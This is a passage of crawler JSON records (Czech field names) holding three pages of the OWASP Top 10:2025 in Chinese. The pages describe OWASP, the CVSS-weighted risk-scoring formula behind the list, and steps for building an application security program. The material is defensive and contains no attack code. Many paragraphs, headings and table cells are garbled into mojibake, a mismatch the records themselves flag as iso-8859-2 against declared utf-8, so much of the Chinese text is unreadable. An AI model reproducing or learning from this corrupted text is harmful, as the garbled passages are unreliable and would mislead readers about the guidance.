"kanonicka": "https://owasp.org/Top10/2025/zh-Hant/0x01_2025-About_OWASP/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "关于 OWASP"}, {"uroven": 2, "text": "版权与许可"}], "markdown": "# 关于 OWASP\n\nOpen Worldwide Application Security Project (OWASP) 是一个开放社区,致力于帮助组织开发、采购和维护可信的应用程序与 API。\n\n在 OWASPďźŒä˝ ĺŻäťĽĺ…č´šă€ĺź€ć”žĺœ°čŽˇĺ–ďźš\n\n- ĺş”ç”¨ĺŽ‰ĺ…¨ĺˇĽĺ…ˇĺ’Œć ‡ĺ‡†\n- ĺ‰ć˛żç ”çŠś\n- ć ‡ĺ‡†ĺŽ‰ĺ…¨ćŽ§ĺˆśĺ’Œĺş“\n- ĺ…łäşŽĺş”ç”¨ĺŽ‰ĺ…¨ćľ‹čŻ•ă€ĺŽ‰ĺ…¨äťŁç ĺź€ĺ‘ĺ’ŒĺŽ‰ĺ…¨äťŁç ĺŽĄćŸĽçš„ĺŽŒć•´äšŚçą\n- 演示文稿和 [视频](https://www.youtube.com/user/OWASPGLOBAL)\n- 涵盖许多常见主题的 [速查表](https://cheatsheetseries.owasp.org/)\n- 在世界各地和线上举办的 [分会会议](https://owasp.org/chapters/)\n- [活动、培训和大会](https://owasp.org/events/)\n- [Google Groups](https://groups.google.com/g/owasp)\n\n了解更多信息:[https://owasp.org](https://owasp.org)。\n\n所有 OWASP 工具、文档、视频、演示文稿和分会都向任何有兴趣改进应用安全的人免费开放。\n\nćˆ‘äťŹĺ€ĄĺŻźäťŽäşşĺ‘˜ă€ćľç¨‹ĺ’ŒćŠ€ćœŻä¸‰ä¸Şć–šé˘çœ‹ĺž…ĺş”ç”¨ĺŽ‰ĺ…¨ďźŒĺ› ä¸şćœ€ćœ‰ć•ˆçš„ĺş”ç”¨ĺŽ‰ĺ…¨ć–šćł•éœ€čŚĺœ¨čż™äş›ć–šé˘ĺŒć—ść”ščż›ă€‚\n\nOWASP 是一种不同类型的组织。由于不受商业压力影响,我们能够提供公正、实用且成本可控的应用安全信息。\n\nOWASP 不隶属于任何技术公司,但我们支持在充分了解的前提下使用商业安全技术。OWASP 以协作、透明、开放的方式产出多种资料。\n\nOWASP Foundation ć˜ŻäżéšœéĄšç›Žé•żćœŸĺ‘ĺą•çš„éžčĽĺˆŠĺŽžä˝“ă€‚ĺ‡ äšŽć‰€ćœ‰ä¸Ž OWASP 相关的人都是志愿者,包括 OWASP č‘Łäş‹äźšă€ĺˆ†äźšč´Ÿč´Łäşşă€éĄšç›Žč´Ÿč´Łäşşĺ’ŒéĄšç›Žćˆĺ‘˜ă€‚ćˆ‘äťŹé€ščż‡čľ„ĺŠŠĺ’ŒĺŸşçĄ€čŽžć–˝ć”ŻćŒĺˆ›ć–°ć€§ĺŽ‰ĺ…¨ç ”çŠśă€‚\n\nćŹ˘čżŽĺŠ ĺ…Ľćˆ‘äťŹďź\n\n## 版权与许可\n\n版权所有 Š 2003-2025 The OWASP® Foundation, Inc. 本文档基于 Creative Commons Attribution Share-Alike 4.0 许可发布。任何复用或分发都必须向他人明确说明本作品的许可条款。", "znaku_textu": 1850, "slov": 97, "odkazu": 35, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:15", "sha256": "a00293867d2cc97610b3ef0777cf6c1d281b438843dbc2ffd56ced47aac046f0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/0x02_2025-What_are_Application_Security_Risks/", "titulek": "什么是应用安全风险? - OWASP Top 10:2025", "h1": "什么是应用安全风险?", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/0x02_2025-What_are_Application_Security_Risks/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "什么是应用安全风险?"}, {"uroven": 2, "text": "数据如何用于选择类别并排序"}, {"uroven": 2, "text": "ć•°ćŽĺ› ç´"}], "markdown": "# 什么是应用安全风险?\n\nć”ťĺ‡ťč€…ĺŻčƒ˝é€ščż‡ĺş”ç”¨ä¸­çš„ĺ¤šćĄčˇŻĺž„ĺŻšä˝ çš„äźä¸šćˆ–çť„çť‡é€ ćˆćŸĺŽłă€‚ćŻä¸€ç§čˇŻĺž„éƒ˝äťŁčĄ¨ä¸€ç§éœ€čŚč°ƒćŸĽçš„ć˝œĺœ¨éŁŽé™Šă€‚\n\n| **威胁主体** | **攻击向量** | **可利用性** | **缺失安全控制的可能性** | **技术影响** | **业务影响** |\n| --- | --- | --- | --- | --- | --- |\n| **由环境决定,随场景动态变化** | **由应用暴露面决定(按环境)** | **ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§** | **ćŒ‰ĺšłĺ‡ĺ‘ç”ŸçŽ‡ĺ’ŒčŚ†ç›–çŽ‡ĺŠ ćƒçš„çźşĺ¤ąćŽ§ĺˆś** | **ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“** | **由业务决定** |\n\n在风险评级中,我们考虑了可利用性的通用参数、某项弱点缺失安全控制的平均可能性,以及它的技术影响。\n\nćŻä¸Şçť„çť‡éƒ˝ć˜Żç‹Źç‰šçš„ďźŒčŻĽçť„çť‡é˘ĺŻšçš„ĺ¨čƒčĄŒä¸şč€…ă€äť–äťŹçš„ç›Žć ‡ďźŒäťĽĺŠäťťä˝•ĺŽ‰ĺ…¨äş‹äťśé€ ćˆçš„ĺ˝ąĺ“äšŸĺ„ä¸ç›¸ĺŒă€‚ĺŚ‚ćžœä¸€ä¸Şĺ…Źç›Šçť„çť‡ä˝żç”¨ĺ†…ĺŽšçŽĄç†çłťçťŸďźˆCMS)发布公开信息,而一家医疗系统使用同一个 CMS ĺ­˜ĺ‚¨ć•ć„ŸĺĽĺşˇčŽ°ĺ˝•ďźŒé‚ŁäšˆĺŒä¸€ćŹžč˝Żäťśé˘ĺŻšçš„ĺ¨čƒä¸ťä˝“ĺ’Œä¸šĺŠĄĺ˝ąĺ“ĺŻčƒ˝ĺŽŒĺ…¨ä¸ĺŒă€‚ĺ› ć­¤ďźŒĺż…éĄťĺŸşäşŽĺş”ç”¨ćš´éœ˛é˘ă€ĺœşć™Żä¸­çš„é€‚ç”¨ĺ¨čƒä¸ťä˝“ďźˆĺŒ…ć‹ŹćŒ‰ä¸šĺŠĄĺ’Œä˝ç˝Žĺˆ’ĺˆ†çš„ĺŽšĺ‘ä¸ŽéžĺŽšĺ‘ć”ťĺ‡ťďź‰ďźŒäťĽĺŠĺ…ˇä˝“ä¸šĺŠĄĺ˝ąĺ“ćĽç†č§Łçť„çť‡č‡ŞčşŤçš„éŁŽé™Šă€‚\n\n## 数据如何用于选择类别并排序\n\n2017 ĺš´ďźŒćˆ‘äťŹćŒ‰ĺ‘ç”ŸçŽ‡é€‰ć‹ŠçąťĺˆŤäťĽĺˆ¤ć–­ĺŻčƒ˝ć€§ďźŒĺ†ç”ąĺ›˘é˜ŸĺŸşäşŽć•°ĺĺš´çťéŞŒčŽ¨čŽşĺŻĺˆŠç”¨ć€§ă€ĺŻćŁ€ćľ‹ć€§ďźˆĺŒć ˇĺąžäşŽĺŻčƒ˝ć€§ďź‰ĺ’ŒćŠ€ćœŻĺ˝ąĺ“ĺŽčż›čĄŒćŽ’ĺşă€‚2021 年,我们使用国家漏洞数据库(NVD)中 CVSSv2 和 CVSSv3 分数提供的可利用性与(技术)影响数据。2025 年,我们沿用 2021 年建立的方法。\n\n我们下载 OWASP Dependency Check,提取 CVSS Exploit 和 Impact 分数,并按相关 CWE ĺˆ†çť„ă€‚čż™éœ€čŚç›¸ĺ˝“ĺ¤šçš„ç ”çŠśĺ’Œĺ¤„ç†ďźŒĺ› ä¸şć‰€ćœ‰ CVE 都有 CVSSv2 分数,但 CVSSv2 存在一些 CVSSv3 试图修正的问题。某个时间点之后,所有 CVE 也都会分配 CVSSv3 分数。此外,CVSSv2 和 CVSSv3 的评分范围与公式也发生了变化。\n\n在 CVSSv2 中,Exploit 和(技术)Impact 最高都可以达到 10.0,但公式会把它们分别压低到 60% 和 40%。在 CVSSv3 中,理论最高值被限制为 Exploit 6.0、Impact 4.0。按权重计算后,在我们为 2021 Top Ten 进行分析时,CVSSv3 中 Impact 分数平均提高了将近 1.5 分,而可利用性平均降低了将近 0.5 分。\n\n从 OWASP Dependency Check 提取的国家漏洞数据库(NVD)中,大约有 17.5 万条 CVE čŽ°ĺ˝•ć˜ ĺ°„ĺˆ° CWE(高于 2021 年的 12.5 万条)。此外,有 643 个唯一 CWE ć˜ ĺ°„ĺˆ° CVE(高于 2021 年的 241 个)。在提取的近 22 万条 CVE 中,16 万条有 CVSS v2 分数,15.6 万条有 CVSS v3 分数,6000 条有 CVSS v4 分数。许多 CVE ĺŒć—śćœ‰ĺ¤šä¸Şĺˆ†ć•°ďźŒĺ› ć­¤čż™äş›ć•°é‡ç›¸ĺŠ äźščś…čż‡ 22 万。\n\n寚 Top Ten 2025,我们按以下方式计算平均可利用性和影响分数。我们将所有带 CVSS 分数的 CVE 按 CWE 分组,然后按拥有 CVSSv3 的数据比例以及剩余 CVSSv2 ć•°ćŽçš„ćŻ”äž‹ďźŒĺŻšĺŻĺˆŠç”¨ć€§ĺ’Œĺ˝ąĺ“ĺˆ†ć•°čż›čĄŒĺŠ ćƒďźŒĺž—ĺˆ°ć€ťä˝“ĺšłĺ‡ĺ€źă€‚ćˆ‘äťŹćŠŠčż™äş›ĺšłĺ‡ĺ€źć˜ ĺ°„ĺ›žć•°ćŽé›†ä¸­çš„ CWE,用作风险公式另一半的 Exploit 和(技术)Impact 评分。\n\n为什么不使用 CVSS v4.0ďźŸĺ› ä¸şĺŽƒçš„čŻ„ĺˆ†çŽ—ćł•ĺ‘ç”Ÿäş†ć šćœŹĺ˜ĺŒ–ďźŒä¸ĺ†ĺƒ CVSSv2 和 CVSSv3 é‚Łć ˇĺŽšć˜“ćäž› *Exploit* 或 *Impact* 分数。我们会尝试为未来版本的 Top Ten 找到使用 CVSS v4.0 评分的方法,但在 2025 版中未能及时确定可行方式。\n\n对于发生率,我们计算某组织在一段时间内测试的应用群体中,受每个 CWE 影响的应用比例。再次说明,我们不使用频次(即某个问题在一个应用中出现多少次),我们关注的是应用总体中有多少比例被发现存在该 CWE。\n\n对于覆盖率,我们查看所有组织针对某个 CWE ćľ‹čŻ•čż‡çš„ĺş”ç”¨ćŻ”äž‹ă€‚čŽĄçŽ—ĺ‡şçš„čŚ†ç›–çŽ‡čśŠéŤ˜ďźŒčŻ´ć˜Žĺ‘ç”ŸçŽ‡çš„ĺŻäżĄĺşŚčśŠĺźşďźŒĺ› ä¸şć ˇćœŹč§„ć¨Ąć›´čƒ˝äťŁčĄ¨ć€ťä˝“ă€‚\n\n本次迭代使用的公式与 2021 年类似,但权重有所调整:\n(最大发生率 % * 1000)+(最大覆盖率 % * 100)+(平均可利用性 * 10)+(平均影响 * 20)+(发生总数 / 10000)= 风险分数\n\n计算出的分数从“失效的访问控制”的 621.60 到“内存管理错误”的 271.08 不等。\n\n这不是一个完美系统,但对风险类别排序很有价值。\n\nĺŚä¸€ä¸Şć­Łĺœ¨ĺŠ ĺ‰§çš„ćŒ‘ćˆ˜ć˜ŻĺŚ‚ä˝•ĺŽšäš‰â€œĺş”ç”¨â€ă€‚éšç€čĄŒä¸šč˝Źĺ‘ç”ąĺžŽćœĺŠĄĺ’Œĺ…śäť–ćŻ”äź çťŸĺş”ç”¨ć›´ĺ°çš„ĺŽžçŽ°çť„ćˆçš„ćžśćž„ďźŒčŽĄçŽ—äźšĺ˜ĺž—ć›´ĺ›°éšžă€‚äž‹ĺŚ‚ďźŒĺŚ‚ćžœä¸€ä¸Şçť„çť‡ćľ‹čŻ•çš„ć˜ŻäťŁç äť“ĺş“ďźŒĺŽƒćŠŠäť€äšˆč§†ä¸şä¸€ä¸Şĺş”ç”¨ďźŸä¸Ž CVSSv4 的发展类似,下一版 Top Ten 可能需要调整分析和评分方式,以适应持续变化的行业。\n\n## ć•°ćŽĺ› ç´\n\n每个 Top Ten çąťĺˆŤéƒ˝äźšĺˆ—ĺ‡şä¸€äş›ć•°ćŽĺ› ç´ ďźŒĺŤäš‰ĺŚ‚ä¸‹ďźš\n\n**ć˜ ĺ°„çš„ CWE 数量:** Top Ten ĺ›˘é˜Ÿć˜ ĺ°„ĺˆ°ćŸä¸ŞçąťĺˆŤçš„ CWE 数量。\n\n**发生率:** 发生率是某组织在当年测试的应用群体中,受该 CWE 影响的应用比例。\n\n**ĺŠ ćƒĺŻĺˆŠç”¨ć€§ďźš** ć˜ ĺ°„ĺˆ° CWE 的 CVE 所分配的 CVSSv2 和 CVSSv3 Exploit 子分数,经过归一化后放到 10 分制中。\n\n**ĺŠ ćƒĺ˝ąĺ“ďźš** ć˜ ĺ°„ĺˆ° CWE 的 CVE 所分配的 CVSSv2 和 CVSSv3 Impact 子分数,经过归一化后放到 10 分制中。\n\n**(测试)覆盖率:** 所有组织针对某个 CWE 测试过的应用比例。\n\n**发生总数:** č˘Ťĺ‘çŽ°ĺ­˜ĺœ¨čŻĽçąťĺˆŤć‰€ć˜ ĺ°„ CWE 的应用总数。\n\n**CVE 总数:** NVD ć•°ćŽĺş“ä¸­ć˜ ĺ°„ĺˆ°čŻĽçąťĺˆŤć‰€ć˜ ĺ°„ CWE 的 CVE 总数。\n\n**公式:**(最大发生率 % * 1000)+(最大覆盖率 % * 100)+(平均可利用性 * 10)+(平均影响 * 20)+(发生总数 / 10000)= 风险分数", "znaku_textu": 5663, "slov": 326, "odkazu": 30, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:16", "sha256": "7cb80f2fc7787a0718cd045ab901409eb064495216fb8ea86c38ad9094828536", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "titulek": "建立现代应用安全计划 - OWASP Top 10:2025", "h1": "建立现代应用安全计划", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "建立现代应用安全计划"}, {"uroven": 3, "text": "1. 建立基于风险的资产组合方法:"}, {"uroven": 3, "text": "2. 用坚实基础赋能:"}, {"uroven": 3, "text": "3. 将安全集成到现有流程中:"}, {"uroven": 3, "text": "4. 应用安全教育:"}, {"uroven": 3, "text": "5. 提供管理层可见性:"}, {"uroven": 2, "text": "ĺťşçŤ‹ĺšśä˝żç”¨ĺŻé‡ĺ¤çš„ĺŽ‰ĺ…¨ćľç¨‹ĺ’Œć ‡ĺ‡†ĺŽ‰ĺ…¨ćŽ§ĺˆś"}, {"uroven": 3, "text": "需求和资源管理阶段:"}, {"uroven": 3, "text": "提案请求(RFP)和合同:"}, {"uroven": 3, "text": "规划和设计阶段:"}, {"uroven": 3, "text": "安全开发生命周期:"}, {"uroven": 3, "text": "建立持续应用安全测试:"}, {"uroven": 3, "text": "发布:"}, {"uroven": 3, "text": "运维和变更管理:"}, {"uroven": 3, "text": "退役系统:"}, {"uroven": 2, "text": "将 OWASP Top 10 ä˝œä¸şć ‡ĺ‡†ä˝żç”¨"}], "markdown": "# 建立现代应用安全计划\n\nOWASP Top Ten 系列是安全意识文档,目的是让读者关注其覆盖主题中最关键的风险。它们不是完整清单,只是起点。在本清单的早期版本中,我们建议从建立应用安全计划开始,以避免这些风险以及更多问题。本节将说明如何启动并建设现代应用安全计划。\n\nĺŚ‚ćžœä˝ ĺˇ˛çťćœ‰ĺş”ç”¨ĺŽ‰ĺ…¨čŽĄĺˆ’ďźŒĺŻäťĽč€ƒč™‘ä˝żç”¨ [OWASP SAMMSoftware Assurance Maturity Model)](https://owasp.org/www-project-samm/)或 DSOMMDevSecOps Maturity Modelďź‰ĺŻšĺ…śčż›čĄŒćˆç†ŸĺşŚčŻ„äź°ă€‚čż™äş›ćˆç†ŸĺşŚć¨Ąĺž‹ĺ…¨é˘č€Œçť†č‡´ďźŒĺŻĺ¸ŽĺŠŠä˝ ĺˆ¤ć–­ć‰Šĺą•ĺ’Œćˆç†ŸčŽĄĺˆ’ć—śĺş”ćŠŠç˛žĺŠ›ć”žĺœ¨ĺ“Şé‡Œă€‚čŻˇćł¨ć„ďźšĺšĺĽ˝ĺş”ç”¨ĺŽ‰ĺ…¨ĺšśä¸éœ€čŚĺŽŒćˆ OWASP SAMM 或 DSOMM ä¸­çš„ć‰€ćœ‰äş‹éĄšďź›ĺŽƒäťŹçš„ä˝œç”¨ć˜Żćäž›ćŒ‡ĺŻźĺ’ŒčŽ¸ĺ¤šé€‰éĄšă€‚ĺŽƒäťŹä¸ć˜Żç”¨ćĽćĺ‡şä¸ĺŻčžžćˆçš„ć ‡ĺ‡†ďźŒäšŸä¸ć˜Żç”¨ćĽćčż°ć— ćł•č´Ÿć‹…çš„čŽĄĺˆ’ă€‚ĺŽƒäťŹčŚ†ç›–čŒƒĺ›´ĺžˆĺšżďźŒć˜Żä¸şäş†çť™ä˝ ćäž›ć›´ĺ¤šć€čˇŻĺ’Œé€‰ć‹Šă€‚\n\nĺŚ‚ćžœä˝ ć­ŁäťŽé›śĺź€ĺ§‹ĺťşçŤ‹čŽĄĺˆ’ďźŒćˆ–č€…č§‰ĺž— OWASP SAMM 或 DSOMM 对当前团队来说“过重”,请参考以下建议。\n\n### 1. 建立基于风险的资产组合方法:\n\n- 从业务角度识别应用资产组合的保护需求。这应部分由隐私法律以及与受保护数据资产相关的其他法规驱动。\n- 建立一个[通用风险评级模型](https://owasp.org/www-community/OWASP_Risk_Rating_Methodology)ďźŒä˝żç”¨ä¸€č‡´çš„ĺŻčƒ˝ć€§ĺ’Œĺ˝ąĺ“ĺ› ç´ ďźŒĺšśĺć˜ çť„çť‡çš„éŁŽé™ŠĺŽšĺżĺşŚă€‚\n- 按此方式衡量并优先排序所有应用和 APIă€‚ĺ°†çť“ćžœĺŠ ĺ…Ľ[配置管理数据库(CMDB)](https://de.wikipedia.org/wiki/Configuration_Management_Database)。\n- 建立保障指南,明确所需覆盖范围和严谨程度。\n\n### 2. 用坚实基础赋能:\n\n- ĺťşçŤ‹ä¸€çť„čšç„Śçš„ç­–ç•Ľĺ’Œć ‡ĺ‡†ďźŒä¸şć‰€ćœ‰ĺź€ĺ‘ĺ›˘é˜Ÿćäž›ĺş”éľĺžŞçš„ĺş”ç”¨ĺŽ‰ĺ…¨ĺŸşçşżă€‚\n- ĺŽšäš‰ä¸€çť„ĺŻĺ¤ç”¨çš„é€šç”¨ĺŽ‰ĺ…¨ćŽ§ĺˆśďźŒä¸Žčż™äş›ç­–ç•Ľĺ’Œć ‡ĺ‡†ç›¸äş’čĄĽĺ……ďźŒĺšśä¸şĺ…śä˝żç”¨ćäž›čŽžčŽĄĺ’Œĺź€ĺ‘ćŒ‡ĺŻźă€‚\n- 建立应用安全培训课程体系,要求不同开发角色按主题完成有针对性的培训。\n\n### 3. 将安全集成到现有流程中:\n\n- 定义安全实现和验证活动,并将其集成到现有开发和运维流程中。\n- ć´ťĺŠ¨ĺŒ…ć‹Źĺ¨čƒĺťşć¨Ąă€ĺŽ‰ĺ…¨čŽžčŽĄĺ’ŒčŽžčŽĄĺŽĄćŸĽă€ĺŽ‰ĺ…¨çź–ç ĺ’ŒäťŁç ĺŽĄćŸĽă€ć¸—é€ćľ‹čŻ•äťĽĺŠäżŽĺ¤ă€‚\n- 为开发和项目团队提供主题专家和支持服务,帮助他们成功完成工作。\n- 审查当前系统开发生命周期以及所有软件安全活动、工具、策略和流程,并记录下来。\n- 对新软件,在系统开发生命周期(SDLCďź‰çš„ćŻä¸Şé˜śćŽľĺŠ ĺ…Ľä¸€ä¸Şćˆ–ĺ¤šä¸ŞĺŽ‰ĺ…¨ć´ťĺŠ¨ă€‚ä¸‹é˘ćˆ‘äťŹćäž›čŽ¸ĺ¤šĺŻé€‰ĺťşčŽŽă€‚çĄŽäżćŻä¸Şć–°éĄšç›Žćˆ–č˝ŻäťśčŽĄĺˆ’éƒ˝ć‰§čĄŒčż™äş›ć–°ć´ťĺŠ¨ďźŒčż™ć ˇä˝ ć‰čƒ˝çŸĽé“ćŻä¸Şć–°č˝Żäťśéƒ˝čƒ˝äťĽçť„çť‡ĺŻćŽĽĺ—çš„ĺŽ‰ĺ…¨çŠść€äş¤äť˜ă€‚\n- 选择活动时,应确保最终产品达到组织可接受的风险水平。\n- ĺŻšçŽ°ćœ‰č˝Żäťśďźˆćœ‰ć—śç§°ä¸şé—ç•™çłťçťŸďź‰ďźŒä˝ éœ€čŚć­Łĺźçš„çť´ćŠ¤čŽĄĺˆ’ă€‚ĺŻäťĽĺ‚č€ƒä¸‹ć–šâ€œčżçť´ĺ’Œĺ˜ć›´çŽĄç†â€éƒ¨ĺˆ†ä¸­ćœ‰ĺ…łĺŚ‚ä˝•çť´ćŠ¤ĺŽ‰ĺ…¨ĺş”ç”¨çš„ĺťşčŽŽă€‚\n\n### 4. 应用安全教育:\n\n- č€ƒč™‘ä¸şĺź€ĺ‘äşşĺ‘˜ĺťşçŤ‹ĺŽ‰ĺ…¨ĺ† ĺ†›čŽĄĺˆ’ďźŒćˆ–ć›´é€šç”¨çš„ĺŽ‰ĺ…¨ć•™č‚˛čŽĄĺˆ’ďźˆćœ‰ć—śç§°ä¸şĺ€ĄĺŻźčŽĄĺˆ’ćˆ–ĺŽ‰ĺ…¨ć„čŻ†čŽĄĺˆ’ďź‰ďźŒć•™çť™äť–äťŹä˝ ĺ¸Œćœ›äť–äťŹćŽŒćĄçš„ĺ†…ĺŽšă€‚čż™äźšĺ¸ŽĺŠŠäť–äťŹäżćŒçŸĽčŻ†ć›´ć–°ďźŒçŸĽé“ĺŚ‚ä˝•ĺŽ‰ĺ…¨ĺœ°ĺŽŒćˆĺˇĽä˝œďźŒĺšśčŽŠĺˇĽä˝œä¸­çš„ĺŽ‰ĺ…¨ć–‡ĺŒ–ć›´ĺŠ ç§Żćžă€‚ĺŽƒé€šĺ¸¸äšŸäźšĺ˘žčż›ĺ›˘é˜Ÿäš‹é—´çš„äżĄäťťďźŒčŽŠĺä˝œĺ…łçłťć›´éĄşç•…ă€‚OWASP 通过 [OWASP Security Champions Guide](https://securitychampions.owasp.org/) ć”ŻćŒä˝ ďźŒčŻĽćŒ‡ĺ—ć­Łĺœ¨é€ć­Ľć‰Šĺą•ă€‚\n- OWASP Education Project ćäž›ĺŸščŽ­ćć–™ďźŒĺ¸ŽĺŠŠĺź€ĺ‘äşşĺ‘˜ĺ­Śäš Web ĺş”ç”¨ĺŽ‰ĺ…¨ă€‚č‹ĽćƒłĺŠ¨ć‰‹ĺ­Śäš ćźć´žďźŒĺŻäťĽĺ°čŻ• [OWASP Juice Shop Project](https://owasp.org/www-project-juice-shop/) 或 [OWASP WebGoat](https://owasp.org/www-project-webgoat/)ă€‚č‹ĽćƒłäżćŒć›´ć–°ďźŒĺŻäťĽĺ‚ĺŠ [OWASP AppSec Conference](https://owasp.org/events/)、[OWASP Conference Training](https://owasp.org/events/),或本地 [OWASP Chapter](https://owasp.org/chapters/) 会议。\n\n### 5. 提供管理层可见性:\n\n- ç”¨ćŒ‡ć ‡çŽĄç†ă€‚ĺŸşäşŽć”śé›†ĺˆ°çš„ćŒ‡ć ‡ĺ’Œĺˆ†ćžć•°ćŽćŽ¨ĺŠ¨ć”ščż›ĺ’Œčľ„é‡‘ĺ†łç­–ă€‚ćŒ‡ć ‡ĺŒ…ć‹ŹĺŽ‰ĺ…¨ĺŽžčˇľĺ’Œć´ťĺŠ¨çš„éľĺžŞćƒ…ĺ†ľă€ĺź•ĺ…Ľçš„ćźć´žă€çź“č§Łçš„ćźć´žă€ĺş”ç”¨čŚ†ç›–çŽ‡ă€ćŒ‰çąťĺž‹ĺˆ’ĺˆ†çš„çźşé™ˇĺŻ†ĺşŚĺ’ŒĺŽžäž‹ć•°é‡ç­‰ă€‚\n- ĺˆ†ćžĺŽžçŽ°ĺ’ŒéŞŒčŻć´ťĺŠ¨ä¸­çš„ć•°ćŽďźŒĺŻťć‰žć šĺ› ĺ’Œćźć´žć¨ĄĺźďźŒäťŽč€ŒćŽ¨ĺŠ¨ć•´ä¸Şäźä¸ščŒƒĺ›´ĺ†…çš„ćˆ˜ç•Ľć€§ă€çłťçťŸć€§ć”ščż›ă€‚äťŽé”™čŻŻä¸­ĺ­Śäš ďźŒĺšśćäž›ć­Łĺ‘ćż€ĺŠąćĽäżƒčż›ć”ščż›ă€‚\n\n## ĺťşçŤ‹ĺšśä˝żç”¨ĺŻé‡ĺ¤çš„ĺŽ‰ĺ…¨ćľç¨‹ĺ’Œć ‡ĺ‡†ĺŽ‰ĺ…¨ćŽ§ĺˆś\n\n### 需求和资源管理阶段:\n\n- 与业务方收集并协商应用的业务需求,包括所有数据资产在机密性、真实性、完整性和可用性方面的保护需求,以及预期业务逻辑。\n- 汇总技术需求,包括功能性和非功能性安全需求。OWASP 建议使用 [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) 作为设定应用安全需求的指南。\n- 规划并协商预算,覆盖设计、构建、测试和运维的各个方面,包括安全活动。\n- ĺ°†ĺŽ‰ĺ…¨ć´ťĺŠ¨ĺŠ ĺ…ĽéĄšç›ŽčŽĄĺˆ’ă€‚\n- 在项目启动会上以安全代表身份介绍自己,让团队知道应找谁沟通。\n\n### 提案请求(RFP)和合同:\n\n- ä¸Žĺ†…éƒ¨ćˆ–ĺ¤–éƒ¨ĺź€ĺ‘äşşĺ‘˜ĺĺ•†éœ€ćą‚ďźŒĺŒ…ć‹Źä¸Žä˝ çš„ĺŽ‰ĺ…¨čŽĄĺˆ’ç›¸ĺ…łçš„ćŒ‡ĺ—ĺ’ŒĺŽ‰ĺ…¨čŚćą‚ďźŒäž‹ĺŚ‚ SDLC、最佳实践。\n- 评估所有技术需求的满足情况,包括规划和设计阶段。\n- 协商所有技术需求,包括设计、安全和服务级别协议(SLA)。\n- 采用模板和清单,例如 [OWASP Secure Software Contract Annex](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex)。\n**注意:** *čŻĽé™„äťśé˘ĺ‘çžŽĺ›˝ĺˆĺŒćł•ďźŒĺ› ć­¤ĺœ¨ä˝żç”¨ç¤şäž‹é™„äťśĺ‰čŻˇĺ’¨čŻ˘ĺˆć źçš„ćł•ĺž‹ć„č§ă€‚*\n\n### 规划和设计阶段:\n\n- 与开发人员和内部利益相关方(例如安全专家)协商规划和设计。\n- ć šćŽäżćŠ¤éœ€ćą‚ĺ’Œé˘„ćœŸĺ¨čƒçş§ĺˆŤĺŽšäš‰ĺŽ‰ĺ…¨ćžśćž„ă€ćŽ§ĺˆśă€ĺŻšç­–ĺ’ŒčŽžčŽĄĺŽĄćŸĽă€‚čż™ĺş”ç”ąĺŽ‰ĺ…¨ä¸“ĺŽść”ŻćŒă€‚\n- 与其在应用和 API 中事后补安全,不如从一开始就把安全设计进去,成本也低得多。OWASP 建议将 [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) 和 [OWASP Proactive Controls](https://top10proactive.owasp.org/) 作为设计阶段纳入安全的起点。\n- 执行威胁建模,参见 [OWASP Cheat Sheet: Threat Modeling](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html)。\n- ć•™äźšč˝Żäťśćžśćž„ĺ¸ˆĺŽ‰ĺ…¨čŽžčŽĄćŚ‚ĺżľĺ’Œć¨ĄĺźďźŒĺšśčŚćą‚äť–äťŹĺ°˝ĺŻčƒ˝ĺŠ ĺ…ĽčŽžčŽĄă€‚\n- 与开发人员一起检查数据流。\n- ĺœ¨ć‰€ćœ‰ĺ…śäť–ç”¨ćˆˇć•…äş‹ć—ĺŠ ĺ…ĽĺŽ‰ĺ…¨ç”¨ćˆˇć•…äş‹ă€‚\n\n### 安全开发生命周期:\n\n- 为改进组织构建应用和 API 时遵循的流程,OWASP 建议使用 [OWASP Software Assurance Maturity Model (SAMM)](https://owasp.org/www-project-samm/)。该模型帮助组织制定并实施适合自身风险的软件安全策略。\n- ä¸şč˝Żäťśĺź€ĺ‘äşşĺ‘˜ćäž›ĺŽ‰ĺ…¨çź–ç ĺŸščŽ­ďźŒäšŸćäž›äťťä˝•ä˝ čŽ¤ä¸şćœ‰ĺŠŠäşŽäť–äťŹćž„ĺťşć›´ç¨łĺĽă€ć›´ĺŽ‰ĺ…¨ĺş”ç”¨çš„ĺŸščŽ­ă€‚\n- čż›čĄŒäťŁç ĺŽĄćŸĽďźŒĺ‚č§ [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html)。\n- 